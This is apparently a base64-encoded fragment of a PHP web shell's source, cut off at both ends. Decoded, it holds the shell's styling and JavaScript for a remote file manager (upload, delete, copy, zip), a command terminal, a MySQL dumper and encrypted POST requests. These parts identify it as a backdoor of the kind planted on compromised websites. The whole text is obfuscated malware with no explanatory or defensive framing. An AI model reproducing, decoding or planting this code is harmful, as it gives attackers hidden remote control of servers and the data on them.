taWx5OiJDb21pYyBTYW5zIE1TIjtjb2xvcjojZmZmO2ZvbnQtc2l6ZTpzbWFsbDtkaXNwbGF5OmlubGluZS1ibG9ja31pbnB1dFt0eXBlPSJmaWxlIl17ZGlzcGxheTpub25lfS5pbnB1dGZpbGV7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2
tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7Ym9yZGVyLXJhZGl1czo0cHg7aGVpZ2h0OjIwcHg7d2lkdGg6MjUwcHg7dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXA7Y3Vyc29yOnBva
W50ZXI7ZGlzcGxheTppbmxpbmUtYmxvY2s7b3ZlcmZsb3c6aGlkZGVufS5pbnB1dGZpbGU6aG92ZXJ7Ym94LXNoYWRvdzowIDAgNHB4ICMyNzk3OUI7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1v
ei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9LmlucHV0ZmlsZSBzcGFuLC5pbnB1dGZ
pbGUgc3Ryb25ne3BhZGRpbmc6MnB4O3BhZGRpbmctbGVmdDoxMHB4fS5pbnB1dGZpbGUgc3Bhbntjb2xvcjojMjVmZjAwO3dpZHRoOjkwcHg7bWluLWhlaWdodDoyZW07ZGlzcGxheTppbmxpbmUtYmxvY2s7dGV4dC1vdmVyZmxvdzplbGxpcHNpcz
t3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3ZlcnRpY2FsLWFsaWduOnRvcDtmbG9hdDpsZWZ0fS5pbnB1dGZpbGUgc3Ryb25ne2JhY2tncm91bmQtaW1hZ2U6dXJsKCcuX19zaG93aWNvbignaG9raW1pbmknKS4nKTtiYWNrZ3Jvd
W5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjpmbG9hdDtoZWlnaHQ6MTAwJTt3aWR0aDoxMDlweDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTtkaXNwbGF5OmlubGluZS1ibG9jaztmbG9hdDpyaWdodH0u
aW5wdXRmaWxlOmZvY3VzIHN0cm9uZywuaW5wdXRmaWxlLmhhcy1mb2N1cyBzdHJvbmcsLmlucHV0ZmlsZTpob3ZlciBzdHJvbmd7YmFja2dyb3VuZC1jb2xvcjojNDY2NDdBfS5idXR0b257cGFkZGluZzozcHh9I2FkZHVwLC5idXR0b257b3V0bGl
uZTpub25lO2N1cnNvcjpwb2ludGVyO2JvcmRlcjoxcHggc29saWQgIzBFMzA0QTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2JveC1zaGFkb3c6MCAwIDRweCAjMEUzMDRBOy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaX
VzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Y29sb3I6Z3JlZW47Ym9yZGVyLXJhZGl1czoxMDBwe
H0jYWRkdXA6aG92ZXIsLmJ1dHRvbjpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRp
dXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF06ZGlzYWJsZWQ6aG92ZXJ7Y3Vyc29yOm5vdC1hbGxvd2VkfXR
ke3BhZGRpbmc6Jy4oJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPT0nMSc/JzAnOicxJykuJ3B4fS5teUNoZWNrYm94e3BhZGRpbmctbGVmdDoycHh9Lm15Q2hlY2tib3ggbGFiZWx7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y3Vyc29yOn
BvaW50ZXI7cG9zaXRpb246cmVsYXRpdmV9Lm15Q2hlY2tib3ggaW5wdXRbdHlwZT1jaGVja2JveF17ZGlzcGxheTpub25lfS5teUNoZWNrYm94IGxhYmVsOmJlZm9yZXtjb250ZW50OiIiO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjE0cHg7a
GVpZ2h0OjEzcHg7cG9zaXRpb246YWJzb2x1dGU7YmFja2dyb3VuZC1jb2xvcjojYWFhO2JveC1zaGFkb3c6aW5zZXQgMCAycHggM3B4IDAgcmdiYSgwLDAsMCwuMyksMCAxcHggMCAwIHJnYmEoMjU1LDI1NSwyNTUsLjgpfS5teUNoZWNrYm94IGxh
YmVse21hcmdpbi1ib3R0b206MTVweDtwYWRkaW5nLXJpZ2h0OjE3cHh9Lm15Q2hlY2tib3ggbGFiZWw6YmVmb3Jle2JvcmRlci1yYWRpdXM6MTAwcHh9aW5wdXRbdHlwZT1jaGVja2JveF06Y2hlY2tlZCArIGxhYmVsOmJlZm9yZXtjb250ZW50OiI
iO2JhY2tncm91bmQtY29sb3I6IzBFMzA0QTtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2hva2ltaW5pJykuJyk7YmFja2dyb3VuZC1yZXBlYXQ6bm8tcmVwZWF0O2JhY2tncm91bmQtcG9zaXRpb246NTAlIDUwJTtiYWNrZ3JvdW
5kLXNpemU6MTRweCAxNHB4O2JveC1zaGFkb3c6MCAwIDRweCAjMEYwfSNtZXVubGlzdHtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmO2NvbG9yOiNGRkY7d2lkdGg6YXV0bztib3JkZXItcmlnaHQtd2lkdGg6N3B4O2JvcmRlc
i1sZWZ0LXdpZHRoOjdweDtoZWlnaHQ6YXV0bztmb250LXNpemU6MTJweDtmb250LXdlaWdodDo3MDA7Ym9yZGVyLXRvcC13aWR0aDowO2JvcmRlci1jb2xvcjojMEUzMDRBO2JvcmRlci1zdHlsZTpzb2xpZH0ud2hvbGUgI21ldW5saXN0IHVse3Rl
eHQtYWxpZ246Y2VudGVyO2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbjowO3BhZGRpbmc6NXB4IDVweCA3cHggMnB4fS53aG9sZSAjbWV1bmxpc3QgbGl7bWFyZ2luOjA7cGFkZGluZzowO2Rpc3BsYXk6aW5saW5lfS53aG9sZSAjbWV1bmxpc3Q
gYXtmb250LWZhbWlseTphcmlhbCxzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxNHB4O3RleHQtZGVjb3JhdGlvbjpub25lO2ZvbnQtd2VpZ2h0OjcwMDtjbGVhcjpib3RoO3dpZHRoOjEwMHB4O21hcmdpbi1yaWdodDotNnB4O2JvcmRlci1yaWdodC13aW
R0aDoxcHg7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1jb2xvcjojRkZGO3BhZGRpbmc6M3B4IDE1cHh9LmZvb3R7Zm9udC1mYW1pbHk6VmVyZGFuYSxHZW5ldmEsc2Fucy1zZXJpZjttYXJnaW46MDtwYWRkaW5nOjA7d2lkd
Gg6MTAwJTt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6MTJweDtjb2xvcjojMEUzMDRBO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2JvcmRlci1ib3R0b20td2lkdGg6N3B4O2JvcmRlci1ib3R0b20tc3R5
bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1yaWdodC1zdHlsZTpzb2xpZDtib3JkZXItbGVmdC1zdHlsZTpzb2xpZDtib3JkZXItY29sb3I6IzBFMzA0QX0jdGV4dHt0ZXh0LWFsaWduOmNlbnRlcn1pbnB1dFt0eXBlPXN
1Ym1pdF17Y3Vyc29yOnBvaW50ZXI7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdidG4nKS4nKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjo1MCUgNTAlO2JhY2tncm91bmQtc2l6ZToyM3
B4IDIzcHg7YmFja2dyb3VuZC1jb2xvcjojMDAwO3dpZHRoOjMwcHg7aGVpZ2h0OjMwcHg7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO2JvcmRlci1yYWRpdXM6MTAwcHh9dGV4dGFyZWF7cGFkZGluZzozcHg7Y29sb3I6Izk5OTt0ZXh0LXNoYWRvd
zojNzc3IDAgMCAzcHg7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1y
YWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH10ZXh0YXJlYTpob3Zlcntjb2xvcjojRkZGO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDt
ib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm
94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdLGlucHV0W3R5cGU9bnVtYmVyXSwuaG9raV9jdXN0b21fY21kX2J0bntwYWRkaW5nOjNweDtjb
2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRp
dXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fWlucHV0W3R5cGU9c3VibWl0XTpob3Zlcntjb2xvcjo
jMDAwO3RleHQtc2hhZG93OiMwNjAgMCAwIDZweDtib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MnB4IHNvbGlkICMyNzk3OUI7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjEwMHB4Oy13ZWJraXQtYm94LXNoYW
RvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH1pbnB1dFt0eXBlPXRleHRdOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRwe
CAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwx
MTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fXNlbGVjdHtwYWRkaW5nOjNweDt3aWR0aDoxNjJweDtjb2xvcjojRkZFO3RleHQtc2hhZG93OiMwMDAgMCAycHggN3B4O2JvcmRlcjoxcHggc29saWQgIzB
FMzA0QTtiYWNrZ3JvdW5kOiMwMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7cGFkZGluZzozcHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYW
RpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzojNTU1IDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OiM1NTUgMCAwIDRweH1zZWxlY3Q6aG92ZXJ7Ym9yZGVyOjFweCBzb2xpZCAjMjc5NzlCO2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO3BhZGRpb
mc6M3B4Oy13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7LW1vei1ib3JkZXItcmFkaXVzOjRweDtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5
LDApIDAgMCA0cHh9Ci5mb290dGFibGV7d2lkdGg6IDMwMHB4O2ZvbnQtd2VpZ2h0OiBib2xkOycuKCFAaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8nfS5kaXJ7YmFja2dyb3VuZC1jb2xvcjpyZWQ7fSc6J30nKS4nLm1haW4gdGh7dGV4dC1
hbGlnbjpsZWZ0O30ubWFpbiBhe2NvbG9yOiAjRkZGO30ubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM2NDY0NjQgIWltcG9ydGFudDt9Lm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO3BhZGRpbmc6NXB4O21hcmdpbjowO292ZX
JmbG93OiBhdXRvOyB9LmJpZ2FyZWF7IHdpZHRoOjk5JTsgaGVpZ2h0OjMwMHB4OyB9Lmhva2lfY3VzdG9tX2NtZF9idG4ge3BhZGRpbmc6IDVweDtjb2xvcjogIzI0ZmYwMztjdXJzb3I6IHBvaW50ZXI7fS5hamF4YXJlYS5maWxlc21hbi1hY3Rpd
mUtY29udGVudCB7ZGlzcGxheTogYmxvY2s7fScuaG9raUNzc0xvYWRDb2xvcnMoKS4nCjwvc3R5bGU+JzsKZWNobyAiPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgp2YXIgY18gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNb
J2N3ZCddKSAuICInOwp2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIic7CnZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsKdmFyIGlzbGludXggPSA
iLigkR0xPQkFMU1snc3lzJ10hPSJ3aW4iPyd0cnVlJzonZmFsc2UnKS4iOwp2YXIgcG9zdF9lbmNyeXB0aW9uX21vZGUgPSAiLihfX0hPS0lfUE9TVF9FTkNSWVBUSU9OX18/J3RydWUnOidmYWxzZScpLiI7Ijs/Pgp2YXIgaG9raTFfPSIiLGhva2
kyXz0iIixob2tpM189IiIsaG9raTRfPSIiLGhva2k1Xz0iIixob2tpNl89IiIsaG9raTdfPSIiLGhva2k4Xz0iIixob2tpOV89IiIsaG9raTEwXz0iIixkPWRvY3VtZW50LG15c3FsX2NhY2hlPXt9LGVkaXRvcl9maWxlcz17fSxlZGl0b3JfZXJyb
3I9ITAsZWRpdG9yX2N1cnJlbnRfZmlsZT0iIixwaHBfdGVtcmluYWxfdXNpbmdfY2dpPSExLGlzX21pbmltaXplZD0hMSxjZ2lfaXNfbWluaW1pemVkPSExLG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZD0hMSxkYXRhYmFzZV93aW5kb3dfaXNf
bWluaW1pemVkPSExLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PW51bGwsY2FuX2hhc2hjaGFuZ2Vfd29yaz0hMCxob2tpX2Nhbl9hZGRfb3B0PSExLGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIixob2tpX2FjZV9lZGl0b3JzPXtlZGl0b3I6bnV
sbCxldmFsOm51bGx9LGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YT17fSxfSE9LSV9BSkFYXz17fSxjZ2lfbGFuZz0iIix1cGNvdW50PTEsdGVybWluYWxfd2Fsa19pbmRleD1bXSxob2tpX2N1cnJlbnRfZm1faWQ9MSxob2tpX2ZtX2lkPTA7ZnVuY3
Rpb24gc2V0KGUsYSx0LGksbCxvLHIsbixzLGMsZixfLHUpe2QubWYuYS52YWx1ZT1udWxsIT1lP2U6YV8sZC5tZi5jLnZhbHVlPW51bGwhPWE/YTpjXyxkLm1mLmhva2kxLnZhbHVlPW51bGwhPXQ/dDoiIixkLm1mLmhva2kyLnZhbHVlPW51bGwhP
Wk/aToiIixkLm1mLmhva2kzLnZhbHVlPW51bGwhPWw/bDoiIixkLm1mLmhva2k0LnZhbHVlPW51bGwhPW8/bzoiIixkLm1mLmhva2k1LnZhbHVlPW51bGwhPXI/cjoiIixkLm1mLmhva2k2LnZhbHVlPW51bGwhPW4/bjoiIixkLm1mLmhva2k3LnZh
bHVlPW51bGwhPXM/czoiIixkLm1mLmhva2k4LnZhbHVlPW51bGwhPWM/YzoiIixkLm1mLmhva2k5LnZhbHVlPW51bGwhPWY/ZjoiIixkLm1mLmhva2kxMC52YWx1ZT1udWxsIT1fP186IiIsZC5tZi5jaGFyc2V0LnZhbHVlPW51bGwhPXU/dTpjaGF
yc2V0X31mdW5jdGlvbiBmYyhlKXt2YXIgYT1ob2tpX2N1cnJlbnRfZm1faWQsdD0iYT0iK2hva2liNjQoIkZpbGVzTWFuIikrIiZjPSIraG9raWI2NChlLmMudmFsdWUpKyImaG9raTE9Iitob2tpYjY0KGUuaG9raTEudmFsdWUpKyImYWpheD0iK2
hva2liNjQoInRydWUiKSsiJiIsaT0iIixsPTA7aWYoZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGZvcm1bbmFtZT1maWxlc10gaW5wdXRbdHlwZT1jaGVja2JveF0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY
2tlZCYmKGwrKyxpKz0iZltdPSIraG9raWI2NChkZWNvZGVVUklDb21wb25lbnQoZS52YWx1ZSkpKyImIil9KSwwPT1sJiYicGFzdGUiIT1lLmhva2kxLnZhbHVlKXJldHVybiExO3N3aXRjaChob2tpbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIith
LCJibG9jayIpLGUuaG9raTEudmFsdWUpe2Nhc2UiZGVsZXRlIjpkLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl9ob2xkZXJfIithKyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIGE9ZS5xdWVyeVNlbGVjdG9yKCJ
pbnB1dFt0eXBlPWNoZWNrYm94XSIpO2EuY2hlY2tlZCYmIi4uIiE9YS52YWx1ZT9lLnJlbW92ZSgpOmEuY2hlY2tlZD0hMX0pLGQucXVlcnlTZWxlY3RvcigiI2ZpbGVzbWFuX2hvbGRlcl8iK2ErIiAuY2hrYngiKS5jaGVja2VkPSExO2JyZWFrO2
Nhc2UiY29weSI6Y2FzZSJtb3ZlIjpjYXNlInppcCI6Y2FzZSJ1bnppcCI6ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGlucHV0W3R5cGU9Y2hlY2tib3hdOmNoZWNrZWQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY
2hlY2tlZD0hMX0pfV9BamF4KGQuVVJMLHQraSxmdW5jdGlvbihlKXtob2tpbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIithLCJub25lIiksaG9raUZtbmdyQ29udGV4dFJvdygpfSwhMSwiZmlsZXNtYW5faG9sZGVyXyIrYSl9ZnVuY3Rpb24gaW5p
dERpcihlKXt2YXIgYT0iIix0PSIiO2lzbGludXgmJihhPSI8YSBjbGFzcz1cImhlYWRlcl9wd2RcIiBvbmNsaWNrPVwiZygnRmlsZXNNYW4nLCcvJyk7XCIgcGF0aD0nLycgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9Lyc+LzwvYT4iLHQ9Ii8
iKTt2YXIgbD1lLnNwbGl0KCIvIiksbz0iIixyPWlzbGludXg/Ii8iOiIiO2ZvcihpIGluIi0xIiE9bC5pbmRleE9mKCIuLiIpJiYobC5zcGxpY2UobC5pbmRleE9mKCIuLiIpLTEsMSksbC5zcGxpY2UobC5pbmRleE9mKCIuLiIpLDEpKSxsKSIiIT
1sW2ldJiYobys9IjxhIG9uY2xpY2s9XCJnKCdGaWxlc01hbicsJyIrcitsW2ldKyIvJyk7XCIgcGF0aD0nIityK2xbaV0rIi8nIGhyZWY9JyNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrcitsW2ldKycvXCcgY2xhc3M9ImhlYWRlcl9wd2QiPicrbFtpX
SsiLzwvYT4iLHIrPWxbaV0rIi8iKTskKCJoZWFkZXJfY3dkIikuaW5uZXJIVE1MPWErbysiICIsaG9raUluaXRDd2RDb250ZXh0KCksbD0obD10K2wuam9pbigiLyIpKS5yZXBsYWNlKCIvLyIsIi8iKSxkLmZvb3Rlcl9mb3JtLmMudmFsdWU9bCwk
KCJmb290ZXJfY3dkIikudmFsdWU9bCxjXz1sfWZ1bmN0aW9uIGV2YWxKUyhodG1sKXt2YXIgbmV3RWxlbWVudD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtuZXdFbGVtZW50LmlubmVySFRNTD1odG1sO2Zvcih2YXIgc2NyaXB0cz1uZXd
FbGVtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKSxpPTA7aTxzY3JpcHRzLmxlbmd0aDsrK2kpe3ZhciBzY3JpcHQ9c2NyaXB0c1tpXTtldmFsKHNjcmlwdC5pbm5lckhUTUwpfX1mdW5jdGlvbiBfQWpheChlLGEsdCxpLGwpe3Zhci
BvPSExO3JldHVybiB3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/bz1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihvPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSx2b2lkIDAhPT1sJiYoX0hPS0lfQ
UpBWF9bbF09byksbz8oby5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXs0PT1vLnJlYWR5U3RhdGUmJjIwMD09by5zdGF0dXM/ImZ1bmN0aW9uIj09dHlwZW9mIHQmJih0KG8ucmVzcG9uc2VUZXh0LGwpLGhva2lDbGVhckFqYXgobCkpOjQ9
PW8ucmVhZHlTdGF0ZSYmMjAwIT1vLnN0YXR1cyYmKGhva2lBamF4RXJyb3Ioby5zdGF0dXMsbCxvLnN0YXR1c1RleHQsby5yZXNwb25zZVRleHQpLGhva2lDbGVhckFqYXgobCkpfSxvLm9wZW4oIlBPU1QiLGUsITApLG8uc2V0UmVxdWVzdEhlYWR
lcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksdm9pZCBvLnNlbmQoYSkpOnZvaWQgYWxlcnQoIkVycm9yICEiKX1mdW5jdGlvbiBob2tpQ2xlYXJBamF4KGUpe19IT0tJX0FKQVhfLmhhc093blByb3
BlcnR5KGUpJiZkZWxldGUgX0hPS0lfQUpBWF9bZV19ZnVuY3Rpb24gaGFuZGxldXAoZSxhKXt2YXIgdD0iX19mbmFtZXVwIjtpZigwIT1hJiYodD0iX19mbmFtZXVwIithKSxlLmZpbGVzLmxlbmd0aD4xKXtmb3IodmFyIGk9IiIsbD0wO2w8ZS5ma
Wxlcy5sZW5ndGg7bCsrKWkrPWUuZmlsZXNbMF0ubmFtZSsiLCAiOyQodCkuaW5uZXJIVE1MPWl9ZWxzZSBlLmZpbGVzWzBdLm5hbWUmJigkKHQpLmlubmVySFRNTD1lLmZpbGVzWzBdLm5hbWUpfWZ1bmN0aW9uIHUoZSl7dmFyIGE9ITEsdD0wLGk9
aG9raV9jdXJyZW50X2ZtX2lkLGw9bmV3IEZvcm1EYXRhLG89ImZpbGVzbWFuX2hvbGRlcl8iK2k7bC5hcHBlbmQoImEiLGhva2liNjQoZS5hLnZhbHVlKSksbC5hcHBlbmQoImMiLGhva2liNjQoZS5jLnZhbHVlKSksbC5hcHBlbmQoImhva2kxIix
ob2tpYjY0KGUuaG9raTEudmFsdWUpKSxsLmFwcGVuZCgiY2hhcnNldCIsaG9raWI2NChlLmNoYXJzZXQudmFsdWUpKSxsLmFwcGVuZCgiYWpheCIsaG9raWI2NChlLmFqYXgudmFsdWUpKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoImlucHV0W3R5cGU9Zm
lsZV0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKDA9PWUudmFsdWUubGVuZ3RoKXJldHVybiExO2lmKGUuZmlsZXMubGVuZ3RoPjEpZm9yKHZhciBhPTA7YTxlLmZpbGVzLmxlbmd0aDthKyspbC5hcHBlbmQoImZbXSIsZS5maWxlc1thXSk7ZWxzZ
SBsLmFwcGVuZCgiZltdIixlLmZpbGVzWzBdKTt0Kyt9KSwkKCJmb290ZXJ1cCIpLnZhbHVlPSIiLCQoIl9fZm5hbWV1cCIpLmlubmVySFRNTD0iIjtmb3IodmFyIHI9MTtyPD11cGNvdW50O3IrKyl7dmFyIG49JCgicGZvb3RlcnVwXyIrcik7biYm
bi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKG4pLHVwY291bnQtLX1pZigwPT11cGNvdW50JiZ1cGNvdW50KyssMD09dClyZXR1cm4hMTt2YXIgcz0idXBfYmFyXyIrZ2V0UmFuZG9tKCk7JCgidXBfYmFyX2hvbGRlciIpLmluc2VydEFkamFjZW50SFR
NTCgiYmVmb3JlZW5kIiwiPGRpdiBpZD0nIitzKyInIGNsYXNzPSd1cF9iYXInPjwvZGl2PiIpO2UuYy52YWx1ZTtpZih3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/YT1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihhPW5ldy
BBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSxhKXt2YXIgYz0kKHMpO19IT0tJX0FKQVhfW3NdPWEsYS51cGxvYWQmJihjLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixhLnVwbG9hZC5vbnByb2dyZXNzPWZ1bmN0aW9uKGUpe3ZhciBhP
WUucG9zaXRpb258fGUubG9hZGVkLHQ9ZS50b3RhbFNpemV8fGUudG90YWwsaT1NYXRoLmZsb29yKGEvdCoxZTMpLzEwKyIlIjtjLnN0eWxlLndpZHRoPWl9KSxhLm9ubG9hZD1mdW5jdGlvbihlKXsyMDA9PT1hLnN0YXR1cz9jLnN0eWxlLmRpc3Bs
YXk9Im5vbmUiOmhva2lBamF4RXJyb3IoYS5zdGF0dXMsInVwbG9hZF9hcmVhIixhLnN0YXR1c1RleHQsYS5yZXNwb25zZVRleHQpLGhva2lDbGVhckFqYXgocyl9LGEub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoND09YS5yZWFkeVN
0YXRlJiYyMDA9PWEuc3RhdHVzKXtpZigibm9wZXJtIiE9YS5yZXNwb25zZVRleHQmJiJbXSIhPWEucmVzcG9uc2VUZXh0KXt2YXIgZSx0PUpTT04ucGFyc2UoYS5yZXNwb25zZVRleHQpLGw9IiIscj1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK28rIi
AjZmlsZW1hbmFnZXJfdGFibGUgdHIiKS5sZW5ndGgtMztmb3IoZSBpbiB0KXsrK3I7dmFyIG49dFtlXS5uYW1lLHM9ZW5jb2RlVVJJQ29tcG9uZW50KG4pLGM9dFtlXS5zaXplLGY9dFtlXS5wZXJtLF89dFtlXS5tb2RpZnksdT10W2VdLm93bmVyL
HA9bG9hZFR5cGUobiwiZmlsZSIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK28rIiAuZm1hbmFnZXItcm93IGFbZm5hbWU9JyIrbisiJ10iKS5wYXJlbnRFbGVtZW50LnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5yZW1vdmUoKX1jYXRjaChl
